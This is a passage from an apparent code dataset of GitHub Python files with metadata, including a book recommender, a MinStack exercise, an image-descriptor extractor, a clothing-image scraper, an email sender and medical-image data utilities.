    \n

    \n \n {book_title_formatted} by {author_formatted}\n \n

    \n
    \n
    \n
    \n
    {progress}%
    \n
    \n
    \n \"\"\"\n\n css = f\"\"\".{css_class_l} {{width: calc(300px*{progress/100})\\}}\n.{css_class_r} {{width: calc(300px*{1 - (progress/100)})}}\"\"\"\n\n if progress == 100:\n css += f\".{css_class_r}{{border-radius: 7px 7px 7px 7px}}\"\n \n print(html)\n print()\n print(css)\n return None","repo_name":"ngandlau/kindle-parser","sub_path":"source/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4209,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"63"} +{"seq_id":"18032424800","text":"\nfrom dash import html\nfrom .create_card import create_card\n\ndef get_marker_velocity_card(color_of_cards):\n content = [\n html.H3(\n id='selected-marker-velocity',\n children=\"Select a marker\",\n className=\"text-info\"\n ),\n html.Div(id='velocity-plots')\n ]\n return create_card(\"Marker Velocity\", content, color_of_cards)","repo_name":"aaroncherian/skellymetrics","sub_path":"dash_app/layout/cards/marker_velocity_card.py","file_name":"marker_velocity_card.py","file_ext":"py","file_size_in_byte":378,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"63"} +{"seq_id":"30790481322","text":"from cgitb import html\r\nimport streamlit as st\r\nimport pickle\r\nimport pandas as pd\r\nimport requests\r\nimport numpy as np\r\nimport streamlit.components.v1 as components\r\n# from PIL import Image\r\n\r\n\r\ndef recommend(book_name):\r\n index = np.where(pt.index==book_name)[0][0]\r\n distances = similarity_scores[index]\r\n not_similar_items = sorted(list(enumerate(similarity_scores[index])),key = lambda x:x[1])[:5]\r\n recommended_book = []\r\n recommended_poster = []\r\n for i in not_similar_items:\r\n ind =df['Book-Title'][df['Book-Title'] == pt.index[i[0]]].index.tolist()\r\n\r\n recommended_book.append(pt.index[i[0]])\r\n recommended_poster.append(df['Image-URL-L'][ind])\r\n return recommended_book,recommended_poster\r\n\r\nbooks_list = pickle.load(open('books_list.pkl','rb'))\r\nbook = pd.DataFrame(books_list)\r\npt_list = pickle.load(open('pt.pkl','rb'))\r\npt = pd.DataFrame(pt_list)\r\ndf_list = pickle.load(open('df.pkl','rb'))\r\ndf = pd.DataFrame(df_list)\r\n\r\nsimilarity_scores = pickle.load(open('similarity.pkl','rb'))\r\n\r\nst.title('Book Recommender System')\r\n\r\nselected_book_name = st.selectbox(\r\n 'Select the book which You have recently read',\r\n (book))\r\n\r\nif st.button('Recommend'):\r\n names,poster = recommend(selected_book_name)\r\n \r\n # col = st.rows(5)\r\n # for i in range(5):\r\n # # with col[i]:\r\n\r\n # st.text(names[i])\r\n \r\n # X = str(poster[i])\r\n # p = X.split(\" \")\r\n # q = p[4].split('\\n')\r\n \r\n # st.markdown(\"![Alt Text](\"+q[0]+\")\")\r\n # # html_string = \"
    \"\r\n # # st.markdown(html_string, unsafe_allow_html=True)\r\n\r\n # # st.text('\\n')\r\n idx = 0 \r\n while idx < 5:\r\n # for _ in range(5):\r\n X = str(poster[idx])\r\n p = X.split(\" \")\r\n q = p[4].split('\\n')\r\n cols = st.columns(5) \r\n cols[idx].image(q[0], width=150, caption=names[idx])\r\n idx = idx + 1\r\n\r\n \r\n \r\n\r\n","repo_name":"ajitg25/book_recommender","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1959,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"24688894279","text":"#!/usr/bin/env python3\n\nclass MinStack:\n\n def __init__(self):\n \"\"\"\n initialize your data structure here.\n\n \"\"\"\n self._data=[]\n\n def top(self):\n \tif len(self._data) != 0:\n \t\treturn self._data[-1][0]\n \telse:\n \t\traise Empty('Stack is empty')\n\n def pop(self):\n \tif len(self._data) != 0:\n \t\treturn self._data.pop()\n \telse:\n \t\traise Empty('Stack is empty') \n\n def push(self,x):\n \tif len(self._data) == 0:\n \t\tself._data.append((x,x))\n \telse:\n \t\tself._data.append((x,min(x,self._data[-1][1])))\n \n def getMin(self):\n \tif len(self._data) != 0:\n \t\treturn self._data[-1][1]\n \telse:\n \t\traise Empty('Stack is empty')\n\n \n\n\n \n \n\n# Your MinStack object will be instantiated and called as such:\nminStack = MinStack()\nminStack.push(-2)\n#print(minStack.string_stack)\nminStack.push(0)\n#print(minStack.string_stack)\n\nminStack.push(-3)\n#print(minStack.string_stack)\n\nprint(minStack.getMin())\nprint(minStack.pop())\nprint(minStack.top()) \n\nprint(minStack.getMin())","repo_name":"shrinkhlaGatech/CodingChallenges","sub_path":"Stack/MinStack.py","file_name":"MinStack.py","file_ext":"py","file_size_in_byte":1052,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"2974958808","text":"from numpy_traffic import *\n\ndef test_find_if_cars_too_close():\n positions = np.array([0, 10, 30])\n speeds = np.array([6, 5, 8])\n lengths = np.array([5, 5, 5])\n loop_length = 100\n check_cars = find_cars_too_close(positions, speeds, lengths, loop_length)\n assert np.array_equal(check_cars, [1, None, None])\n\ndef test_handle_cars_too_close():\n positions = np.array([0, 10, 30])\n speeds = np.array([6, 5, 8])\n target_speeds = np.ones(3) * 33\n lengths = np.array([5, 5, 5])\n has_changed = np.zeros(3)\n loop_length = 100\n result_speed, result_has_changed = handle_too_close(positions, lengths, speeds, target_speeds, loop_length, has_changed)\n print(result_speed)\n assert np.array_equal(result_speed, np.array([5, 5, 8]))\n assert np.array_equal(result_has_changed, np.array([True, False, False]))\n","repo_name":"achescheir/traffic-simulation","sub_path":"numpy_traffic_tests.py","file_name":"numpy_traffic_tests.py","file_ext":"py","file_size_in_byte":840,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"33030070489","text":"#!/usr/bin/python3\n\"\"\"\n\tDescriptor Extractor\n\n\tCreated by Jan Tomesek on 24.10.2018.\n\"\"\"\n\n__author__ = \"Jan Tomesek\"\n__email__ = \"itomesek@fit.vutbr.cz\"\n__copyright__ = \"Copyright 2018, Jan Tomesek\"\n\n\nimport os\nimport numpy as np\nfrom math import ceil, log10\nimport time\n\nclass DescriptorExtractor():\n\t\"\"\"\n\t\tLoads and extracts database and query descriptors from dataset images.\n\n\t\tAssumptions:\n\t\tDataset images are in RGB format.\n\t\"\"\"\n\n\tdef __init__(self, dataset, tensorAssembler, descriptorsPath, inputDimensions=None):\n\t\tself.tag = 'DescriptorExtractor ({})'.format(dataset.getSet())\n\n\t\tself.dataset = dataset\n\t\tself.tensorAssembler = tensorAssembler\n\t\tself.descriptorsPath = descriptorsPath\n\n\t\tself.inputDimensions = inputDimensions\n\n\t\tself.dbDescriptorsFn = dataset.getSet() + 'DbDescriptors'\n\t\tself.qDescriptorsFn = dataset.getSet() + 'QDescriptors'\n\n\t\tself.extractBatchSize = 10\n\n\tdef loadDatasetDescriptors(self):\n\t\tdbDescriptors = None\n\t\tqDescriptors = None\n\n\t\tprint('[{}] Loading existing database descriptors ...'.format(self.tag))\n\t\tdbDescriptorsPath = os.path.join(self.descriptorsPath, self.dbDescriptorsFn+'.npy')\n\t\tif (os.path.exists(dbDescriptorsPath)):\n\t\t\tdbDescriptors = np.load(dbDescriptorsPath)\n\t\t\tprint('[{}] Database descriptors successfully loaded'.format(self.tag))\n\t\telse:\n\t\t\tprint('[{}] Could not load database descriptors'.format(self.tag))\n\n\t\tprint('')\n\n\t\tprint('[{}] Loading existing query descriptors ...'.format(self.tag))\n\t\tqDescriptorsPath = os.path.join(self.descriptorsPath, self.qDescriptorsFn+'.npy')\n\t\tif (os.path.exists(qDescriptorsPath)):\n\t\t\tqDescriptors = np.load(qDescriptorsPath)\n\t\t\tprint('[{}] Query descriptors successfully loaded'.format(self.tag))\n\t\telse:\n\t\t\tprint('[{}] Could not load query descriptors'.format(self.tag))\n\n\t\treturn dbDescriptors, qDescriptors\n\n\tdef extractDatasetDescriptors(self, session, dbModel, qModel):\n\t\tif (self.inputDimensions is None):\n\t\t\traise Exception('Input dimensions required!')\n\n\t\tstartExtractTime = time.time()\n\n\t\tprint('[{}] Extracting database descriptors ...'.format(self.tag))\n\t\tdbDescriptors = self.__extractDescriptors('db', session, dbModel, self.dataset.getDatabaseImageFns())\n\t\tnp.save(os.path.join(self.descriptorsPath, self.dbDescriptorsFn), dbDescriptors)\n\n\t\tprint('')\n\n\t\tprint('[{}] Extracting query descriptors ...'.format(self.tag))\n\t\tqDescriptors = self.__extractDescriptors('q', session, qModel, self.dataset.getQueryImageFns())\n\t\tnp.save(os.path.join(self.descriptorsPath, self.qDescriptorsFn), qDescriptors)\n\n\t\tprint('')\n\n\t\tendExtractTime = time.time()\n\t\tself.__printExtractionTime(endExtractTime - startExtractTime)\n\n\t\treturn dbDescriptors, qDescriptors\n\n\tdef __extractDescriptors(self, type, session, model, imageFns):\n\t\tnumberOfDescriptors = len(imageFns)\n\t\tdescriptors = np.zeros(shape=(numberOfDescriptors, model.output.shape[1]), dtype=np.float32)\n\n\t\tnumberOfExtractBatches = ceil(numberOfDescriptors / self.extractBatchSize)\t\t# ceil to assure processing of all samples\n\t\torderOfNumberOfDescriptors = int(log10(numberOfDescriptors))\n\t\tsampleProgressInterval = min(max(10**orderOfNumberOfDescriptors, 100), 10000)\n\t\tbatchProgressInterval = ceil(sampleProgressInterval / self.extractBatchSize)\n\n\t\tfor batch in range(numberOfExtractBatches):\n\t\t\tif (batch % batchProgressInterval == 0):\n\t\t\t\tprint('[{}] {} / {}'.format(self.tag, batch*self.extractBatchSize, numberOfDescriptors))\n\n\t\t\tstartBatchIndex = batch*self.extractBatchSize\n\t\t\tendBatchIndex = (batch+1)*self.extractBatchSize\n\n\t\t\tbatchImageFns = imageFns[startBatchIndex : endBatchIndex]\t\t\t\t\t# correctly takes only remaining samples in the final batch\n\n\t\t\tbatchDescriptors = self.__getDescriptors(type, session, model, batchImageFns)\n\n\t\t\tdescriptors[startBatchIndex : endBatchIndex] = batchDescriptors\n\n\t\tprint('[{}] Total: {}'.\tformat(self.tag, startBatchIndex+len(batchDescriptors)))\n\n\t\treturn descriptors\n\n\tdef __getDescriptors(self, type, session, model, imageFns):\n\t\tif (type == 'db'):\n\t\t\timages = [self.tensorAssembler.getDatabaseTensor(imageFn) for imageFn in imageFns]\n\t\telif (type == 'q'):\n\t\t\timages = [self.tensorAssembler.getQueryTensor(imageFn) for imageFn in imageFns]\n\n\t\tdescriptors = session.run(model.output, feed_dict={model.input: images})\n\n\t\treturn descriptors\n\n\tdef __printExtractionTime(self, extractionTime):\n\t\thours = round(extractionTime // 3600)\n\t\tremaining = extractionTime - (hours * 3600)\n\t\tminutes = round(remaining // 60)\n\t\tprint('[{}] Extraction took {}h {}min'.format(self.tag, hours, minutes))\n","repo_name":"JanTomesek/CrossLocate","sub_path":"CrossLocate/core/DescriptorExtractor.py","file_name":"DescriptorExtractor.py","file_ext":"py","file_size_in_byte":4488,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"63"} +{"seq_id":"24281340371","text":"import smtplib\nfrom email.mime.text import MIMEText\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.base import MIMEBase\nfrom email import encoders\nimport os.path\n\n\ndef send_email():\n\n email_sender = input(\"Enter From Address : \")\n email_recipient = input(\"Enter To Address : \")\n email_subject = input(\"Enter Subject : \")\n attachment_location = input(\"Enter File Location : \")\n email_message = input(\"Enter Message :\")\n cc = input(\"Enter CC :\")\n bcc = input(\"Enter BCC :\")\n \n recp = cc.split(\",\")+bcc.split(\",\")+[email_recipient]\n msg = MIMEMultipart()\n msg['From'] = email_sender\n msg['To'] = recp\n msg['Subject'] = email_subject\n\n\n msg.attach(MIMEText(email_message, 'plain'))\n\n if attachment_location != '':\n filename = os.path.basename(attachment_location)\n attachment = open(attachment_location, \"rb\")\n part = MIMEBase('application', 'octet-stream')\n part.set_payload(attachment.read())\n encoders.encode_base64(part)\n part.add_header('Content-Disposition',\n \"attachment; filename= %s\" % filename)\n msg.attach(part)\n\n try:\n server = smtplib.SMTP('mail.smtp2go.com', 587)\n server.ehlo()\n server.starttls()\n server.login('username', 'password') ## SMTP UserName and Password\n text = msg.as_string()\n server.sendmail(email_sender,recp,text)\n print('email sent')\n server.quit()\n except:\n print(\"SMPT server connection error\")\n return True \nsend_email()\n","repo_name":"jash777/Mail","sub_path":"script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":1571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"34279333313","text":"import os\n\nimport h5py\nimport numpy as np\nimport torch\nimport torch.utils.data as data\nimport scipy.io as sio\nimport utils.preprocessor as preprocessor\nimport nibabel as nb\nimport math\nfrom torchvision import transforms\n\n\n# import utils.preprocessor as preprocessor\n\n\n# transform_train = transforms.Compose([\n# transforms.RandomCrop((480, 220), padding=(32, 36)),\n# transforms.ToTensor(),\n# ])\n\n\nclass ImdbData(data.Dataset):\n def __init__(self, X, y, w=None, transforms=None):\n # TODO:Improve later\n # lung_mask_1 = (y == 4)\n # lung_mask_2 = (y == 5)\n # lung_mask = 0.5 * (lung_mask_1 + lung_mask_2)\n # X = X + lung_mask\n\n self.X = X if len(X.shape) == 4 else X[:, np.newaxis, :, :]\n self.y = y\n self.w = w\n self.transforms = transforms\n\n def __getitem__(self, index):\n img = torch.from_numpy(self.X[index])\n label = torch.from_numpy(self.y[index])\n if self.w is not None:\n weight = torch.from_numpy(self.w[index])\n return img, label, weight\n else:\n return img, label\n\n def __len__(self):\n return len(self.y)\n\n\ndef get_imdb_dataset(data_params):\n data_train = h5py.File(os.path.join(data_params['data_dir'], data_params['train_data_file']), 'r')\n label_train = h5py.File(os.path.join(data_params['data_dir'], data_params['train_label_file']), 'r')\n class_weight_train = h5py.File(os.path.join(data_params['data_dir'], data_params['train_class_weights_file']), 'r')\n weight_train = h5py.File(os.path.join(data_params['data_dir'], data_params['train_weights_file']), 'r')\n\n data_test = h5py.File(os.path.join(data_params['data_dir'], data_params['test_data_file']), 'r')\n label_test = h5py.File(os.path.join(data_params['data_dir'], data_params['test_label_file']), 'r')\n class_weight_test = h5py.File(os.path.join(data_params['data_dir'], data_params['test_class_weights_file']), 'r')\n weight_test = h5py.File(os.path.join(data_params['data_dir'], data_params['test_weights_file']), 'r')\n\n return (ImdbData(data_train['data'][()], label_train['label'][()], class_weight_train['class_weights'][()]),\n ImdbData(data_test['data'][()], label_test['label'][()], class_weight_test['class_weights'][()]))\n\n\ndef load_dataset(file_paths,\n orientation,\n remap_config,\n return_weights=False,\n reduce_slices=False,\n remove_black=False):\n print(\"Loading and preprocessing data...\")\n volume_list, labelmap_list, headers, class_weights_list, weights_list = [], [], [], [], []\n\n for file_path in file_paths:\n volume, labelmap, class_weights, weights = load_and_preprocess(file_path, orientation,\n remap_config=remap_config,\n reduce_slices=reduce_slices,\n remove_black=remove_black,\n return_weights=return_weights)\n\n volume_list.append(volume)\n labelmap_list.append(labelmap)\n\n if return_weights:\n class_weights_list.append(class_weights)\n weights_list.append(weights)\n\n print(\"#\", end='', flush=True)\n print(\"100%\", flush=True)\n if return_weights:\n return volume_list, labelmap_list, class_weights_list, weights_list\n else:\n return volume_list, labelmap_list\n\n\ndef load_and_preprocess(file_path, orientation, remap_config, reduce_slices=False,\n remove_black=False,\n return_weights=False):\n print(file_path)\n volume, labelmap = load_data_mat(file_path, orientation)\n\n volume, labelmap, class_weights, weights = preprocess(volume, labelmap, remap_config=remap_config,\n reduce_slices=reduce_slices,\n remove_black=remove_black,\n return_weights=return_weights)\n return volume, labelmap, class_weights, weights\n\n\ndef load_data(file_path, orientation):\n print(file_path[0], file_path[1])\n volume_nifty, labelmap_nifty = nb.load(file_path[0]), nb.load(file_path[1])\n volume, labelmap = volume_nifty.get_fdata(), labelmap_nifty.get_fdata()\n volume = (volume - np.min(volume)) / (np.max(volume) - np.min(volume))\n volume, labelmap = preprocessor.rotate_orientation(volume, labelmap, orientation)\n return volume, labelmap, volume_nifty.header\n\n\ndef load_data_mat(file_path, orientation):\n data = sio.loadmat(file_path)\n volume = data['DatVol']\n labelmap = data['LabVol']\n volume = (volume - np.min(volume)) / (np.max(volume) - np.min(volume))\n volume, labelmap = preprocessor.rotate_orientation(volume, labelmap, orientation)\n return volume, labelmap\n\n\ndef preprocess(volume, labelmap, remap_config, reduce_slices=False, remove_black=False, return_weights=False):\n if reduce_slices:\n volume, labelmap = preprocessor.reduce_slices(volume, labelmap)\n\n if remap_config:\n labelmap = preprocessor.remap_labels(labelmap, remap_config)\n if remove_black:\n volume, labelmap = preprocessor.remove_black(volume, labelmap)\n\n if return_weights:\n class_weights, weights = preprocessor.estimate_weights_mfb(labelmap)\n return volume, labelmap, class_weights, weights\n else:\n return volume, labelmap, None, None\n\n\ndef load_file_paths_brain(data_dir, label_dir, volumes_txt_file=None):\n \"\"\"\n This function returns the file paths combined as a list where each element is a 2 element tuple, 0th being data and 1st being label.\n It should be modified to suit the need of the project\n :param data_dir: Directory which contains the data files\n :param label_dir: Directory which contains the label files\n :param volumes_txt_file: (Optional) Path to the a csv file, when provided only these data points will be read\n :return: list of file paths as string\n \"\"\"\n\n volume_exclude_list = ['IXI290', 'IXI423']\n if volumes_txt_file:\n with open(volumes_txt_file) as file_handle:\n volumes_to_use = file_handle.read().splitlines()\n else:\n volumes_to_use = [name for name in os.listdir(data_dir) if name not in volume_exclude_list]\n\n file_paths = [\n [os.path.join(data_dir, vol, 'mri/orig.mgz'), os.path.join(label_dir, vol+'_glm.mgz')]\n for\n vol in volumes_to_use]\n return file_paths\n\n\ndef load_file_paths(data_dir, label_dir, volumes_txt_file=None):\n \"\"\"\n This function returns the file paths combined as a list where each element is a 2 element tuple, 0th being data and 1st being label.\n It should be modified to suit the need of the project\n :param data_dir: Directory which contains the data files\n :param label_dir: Directory which contains the label files\n :param volumes_txt_file: (Optional) Path to the a csv file, when provided only these data points will be read\n :return: list of file paths as string\n \"\"\"\n\n with open(volumes_txt_file) as file_handle:\n volumes_to_use = file_handle.read().splitlines()\n file_paths = [os.path.join(data_dir, vol) for vol in volumes_to_use]\n\n return file_paths\n\n\ndef split_batch(X, y, query_label):\n batch_size = len(X) // 2\n input1 = X[0:batch_size, :, :, :]\n input2 = X[batch_size:, :, :, :]\n y1 = (y[0:batch_size, :, :] == query_label).type(torch.FloatTensor)\n y2 = (y[batch_size:, :, :] == query_label).type(torch.LongTensor)\n # y2 = (y[batch_size:, :, :] == query_label).type(torch.FloatTensor)\n # y2 = y2.unsqueeze(1)\n # Why?\n # input1 = torch.cat([input1, y1.unsqueeze(1)], dim=1)\n\n return input1, input2, y1, y2\n","repo_name":"abhi4ssj/few-shot-segmentation","sub_path":"utils/data_utils.py","file_name":"data_utils.py","file_ext":"py","file_size_in_byte":7914,"program_lang":"python","lang":"en","doc_type":"code","stars":89,"dataset":"github-code","pt":"63"} +{"seq_id":"70805624202","text":"class Solution(object):\n def containsDuplicate(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: bool\n \"\"\"\n encountered = dict()\n for i in range(len(nums)):\n key = nums[i]\n if key in encountered:\n return False\n else:\n encountered[key] = 1\n return True\n","repo_name":"dsmith7789/Leetcode","sub_path":"217_ContainsDuplicate.py","file_name":"217_ContainsDuplicate.py","file_ext":"py","file_size_in_byte":367,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"16691720648","text":"from __future__ import unicode_literals\nimport six\n\n\ndef csv_format(data):\n \"\"\"\n Encapsulate any data which contains a comma within double quotes.\n \"\"\"\n csv = []\n for value in data:\n\n # Represent None or False with empty string\n if value in [None, False]:\n csv.append('')\n continue\n\n # Force conversion to string first so we can check for any commas\n if not isinstance(value, six.string_types):\n value = '{}'.format(value)\n\n # Double-quote the value if it contains a comma\n if ',' in value:\n csv.append('\"{}\"'.format(value))\n else:\n csv.append('{}'.format(value))\n\n return ','.join(csv)\n\n\ndef foreground_color(bg_color):\n \"\"\"\n Return the ideal foreground color (black or white) for a given background color in hexadecimal RGB format.\n \"\"\"\n bg_color = bg_color.strip('#')\n r, g, b = [int(bg_color[c:c + 2], 16) for c in (0, 2, 4)]\n if r * 0.299 + g * 0.587 + b * 0.114 > 186:\n return '000000'\n else:\n return 'ffffff'\n","repo_name":"cndn/intelligent-code-completion","sub_path":"raw_data/14022_utils.py","file_name":"14022_utils.py","file_ext":"py","file_size_in_byte":1073,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"63"} +{"seq_id":"26676510992","text":"from selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.support.wait import WebDriverWait\nimport os\nimport wget\nfrom urllib.parse import urlparse\n\n\nclass ReservedProductPageLocators():\n clothes_name_locator = '[data-selen=\"product-name\"]'\n clothes_price_locator = '.basic-pricestyled__StyledBasicPrice-ptbrpf-0'\n clothes_id_locator = '[data-selen=\"sku\"]'\n clothes_pic_locator = '.thumbnail__Thumbnail-cghdsl-0 img' \n\nclass HouseProductPageLocators():\n clothes_name_locator = '[data-testid=\"product-name\"]'\n clothes_price_locator = '[data-selen=\"product-price\"]'\n clothes_id_locator = '[data-testid=\"sku\"]'\n clothes_pic_locator = '.thumbnailstyled__Thumbnail-sc-4pvlpr-0 img'\n\nclass SinsayProductPageLocators():\n clothes_name_locator = 'h1[data-selen=\"product-name\"]'\n clothes_price_locator = '[data-selen=\"product-price\"].basic-price'\n clothes_id_locator = '[data-selen=\"sku\"]'\n clothes_pic_locator = '.thumbnail__Thumbnail-cghdsl-0 img' \n\nclass CroppProductPageLocators():\n clothes_name_locator = '[data-selen=\"product-name\"]'\n clothes_price_locator = '[data-selen=\"product-price\"]'\n clothes_id_locator = '[data-selen=\"sku\"]'\n clothes_pic_locator = '.thumbnail__Thumbnail-cghdsl-0 img' \n\nclass MohitoProductPageLocators():\n clothes_name_locator = '[data-testid=\"product-name\"]'\n clothes_price_locator = '.desktop__PriceWrapper-mr1wyi-3' # might be incorect\n clothes_id_locator = '[data-testid=\"sku\"]'\n clothes_pic_locator = '.thumbnailstyled__Thumbnail-sc-12kuo2j-0 img' \n\nLOCATORS = {\n 'reserved': ReservedProductPageLocators,\n 'house': HouseProductPageLocators,\n 'sinsay': SinsayProductPageLocators,\n 'cropp': CroppProductPageLocators,\n 'mohito': MohitoProductPageLocators,\n}\n\ndef prepare_link(links):\n source_links = []\n for link in links:\n split_link = link.split('/')\n remove_part = [split_link[6], split_link[7], split_link[8]] # look at correct indexes\n for part in remove_part:\n split_link.remove(part)\n source_link = '/'.join(split_link)\n source_links.append(source_link)\n return source_links \n\ndef download_images(directory, image_links, image_names):\n counter = 0\n for link in image_links:\n save_as = os.path.join(directory, f'{image_names[counter]}.jpg')\n wget.download(link, save_as)\n counter += 1\n\nclass ClothingItem:\n def __init__(self, url):\n self.url = url\n self.name = None\n self.price = None\n self.id = None\n self.image_links = []\n self.image_names = []\n self.directory = None\n \n def extract_data(self):\n driver = webdriver.Chrome(executable_path='drivers\\chromedriver.exe')\n driver.maximize_window()\n driver.get(self.url)\n driver_wait = WebDriverWait(driver, 10)\n\n # Determine the corresponding locator class based on the domain of the URL\n domain = urlparse(self.url).hostname\n if 'reserved.com' in domain:\n locator_class = ReservedProductPageLocators\n elif 'housebrand.com' in domain:\n locator_class = HouseProductPageLocators\n elif 'sinsay.com' in domain:\n locator_class = SinsayProductPageLocators\n elif 'cropp.com' in domain:\n locator_class = CroppProductPageLocators\n elif 'mohito.com' in domain:\n locator_class = MohitoProductPageLocators\n else:\n raise ValueError(f\"No locator class found for domain '{domain}'\")\n\n # Extract data using the locators from the corresponding locator class\n name_locator = getattr(locator_class, 'clothes_name_locator')\n price_locator = getattr(locator_class, 'clothes_price_locator')\n id_locator = getattr(locator_class, 'clothes_id_locator')\n pic_locator = getattr(locator_class, 'clothes_pic_locator')\n\n name = driver_wait.until(EC.presence_of_element_located((By.CSS_SELECTOR, name_locator))).text\n price = driver_wait.until(EC.presence_of_all_elements_located((By.CSS_SELECTOR, price_locator)))\n item_id = driver_wait.until(EC.presence_of_element_located((By.CSS_SELECTOR, id_locator))).text\n clothes_pics = driver.find_elements(By.CSS_SELECTOR, pic_locator)\n image_links = [clothes.get_attribute('src') for clothes in clothes_pics]\n image_names = [clothes.get_attribute('alt') for clothes in clothes_pics]\n image_links = prepare_link(image_links)\n\n driver.quit()\n \n self.name = name\n self.price = price\n self.id = item_id\n self.image_links = image_links\n self.image_names = image_names\n\n def create_directory(self):\n path = os.getcwd()\n domain = urlparse(self.url).hostname\n if 'reserved.com' in domain:\n folder_name = 'Reserved'\n elif 'housebrand.com' in domain:\n folder_name = 'House'\n elif 'sinsay.com' in domain:\n folder_name = 'Sinsay'\n elif 'cropp.com' in domain:\n folder_name = 'Cropp'\n elif 'mohito.com' in domain:\n folder_name = 'Mohito'\n else:\n raise ValueError(f\"No folder found for domain '{domain}'\")\n self.directory = os.path.join(path, f'images/{folder_name}/{self.name}({self.id})')\n os.makedirs(self.directory)\n\n def download_images(self):\n download_images(self.directory, self.image_links, self.image_names)\n \nif __name__ == '__main__':\n urls = input(\"Enter the URLs separated by commas: \").split(\",\")\n for url in urls:\n item = ClothingItem(url.strip())\n item.extract_data()\n item.create_directory()\n item.download_images() \n","repo_name":"DappY-127/Clothes_images_scraper","sub_path":"mainv2.py","file_name":"mainv2.py","file_ext":"py","file_size_in_byte":5818,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"13851123690","text":"def solution(line):\n # 교점 구하기\n intersection = set()\n min_x, max_x, min_y, max_y = 1e11, -1e11, 1e11, -1e11\n for i in range(len(line)-1):\n for j in range(i+1, len(line)):\n # AD-BC != 0\n if line[i][0]*line[j][1] - line[i][1]*line[j][0] != 0:\n x = (line[i][1]*line[j][2]-line[i][2]*line[j][1])/(line[i][0]*line[j][1]-line[i][1]*line[j][0])\n y = (line[i][2]*line[j][0]-line[i][0]*line[j][2])/(line[i][0]*line[j][1]-line[i][1]*line[j][0])\n if x==int(x) and y==int(y):\n intersection.add((int(x), int(y)))\n if int(x) < min_x:\n min_x = int(x)\n if int(x) > max_x:\n max_x = int(x)\n if int(y) < min_y:\n min_y = int(y)\n if int(y) > max_y:\n max_y = int(y)\n # print(intersection)\n # print(min_x, max_x, min_y, max_y)\n \n # 점 찍기\n answer = []\n for _ in range(max_y-min_y+1):\n temp = '.'*(max_x-min_x+1)\n answer.append(temp)\n \n # 별 찍기\n for star in intersection:\n answer[max_y-star[1]] = answer[max_y-star[1]][0:star[0]-min_x] + '*' + answer[max_y-star[1]][star[0]-min_x+1:]\n \n return answer","repo_name":"dongho108/breaking-codingtest","sub_path":"week2/thu/mg_p87377.py","file_name":"mg_p87377.py","file_ext":"py","file_size_in_byte":1329,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"63"} +{"seq_id":"72887282440","text":"import sys\nimport asyncio\nfrom typing import Dict, Iterable, List, Tuple\nimport numpy as np\nimport string\nimport random\n\nSYMBOL_SIZE = 8\n\n\nclass AlwaysValidOID:\n def __init__(self):\n self.oid = -1\n\n def get(self):\n self.oid += 1\n return self.oid\n\n\navo = AlwaysValidOID()\n\nQTY_MAX = 0x10000 - 1\n\n\ndef create_action(symbol: str, price: float) -> str:\n ask_or_offer: str = random.choice([\"B\", \"S\"])\n qty: int = np.random.randint(1, QTY_MAX)\n return f\"O {avo.get()} {symbol} {ask_or_offer} {qty} {price:7.5f}\"\n\n\nasync def main(num_symbols: int, num_actions: int):\n price_mu: int = 42 # target values centered around mean\n price_sigma: int = 8 # standard deviation\n # generate and append a random symbol string\n # of less than 8 characters\n prices: np.ndarray = np.random.normal(price_mu, price_sigma, num_symbols)\n assert prices[prices > 0.0].size == prices.size\n symbols: List[str] = [\n \"\".join(random.choice(string.ascii_uppercase) for _ in range(SYMBOL_SIZE))\n for _ in range(num_symbols)\n ]\n price_map: Dict[str, float] = dict(zip(symbols, prices))\n\n # for each symbol generate num_actions actions exc. print\n loop = asyncio.get_event_loop()\n w_transport, w_protocol = await loop.connect_write_pipe(\n asyncio.streams.FlowControlMixin, sys.stdout\n )\n writer = asyncio.StreamWriter(w_transport, w_protocol, None, loop)\n per_symbol_sigma = 0.25\n with open(\"generated_actions.txt\", \"wb\") as f:\n for i in range(num_actions * num_symbols):\n key = random.choice(list(price_map.keys()))\n # Use an async generator and async prints if this gets slow...\n s: np.ndarray = np.random.normal(price_map[key], per_symbol_sigma, 1)\n test_string: str = (create_action(key, s[0]) + \"\\n\").encode(\"utf-8\")\n writer.write(test_string)\n await writer.drain()\n f.write(test_string)\n writer.write(\"P\\n\".encode(\"utf-8\"))\n await writer.drain()\n\n\nif __name__ == \"__main__\":\n num_symbols = int(sys.argv[1])\n num_actions = int(sys.argv[2])\n asyncio.run(main(num_symbols, num_actions))\n","repo_name":"andresito00/redlobster","sub_path":"test/gen_actions.py","file_name":"gen_actions.py","file_ext":"py","file_size_in_byte":2166,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"30836278648","text":"from turtle import Turtle, Screen\nimport random\n\nscreen = Screen()\nis_race_on = False\nscreen.setup(width=500, height=400)\n\nuser_bet = screen.textinput(title=\"Make your bet\", prompt=\"Which turtle will win the race? Enter a color: \")\ncolors = [\"blue\", \"green\", \"yellow\", \"orange\", \"red\"]\nall_turtles = []\ny_coordinate = -70\n\nfor i in range(0, 5):\n new_turtle = Turtle(shape=\"turtle\")\n new_turtle.penup()\n new_turtle.goto(x=-230, y=y_coordinate)\n 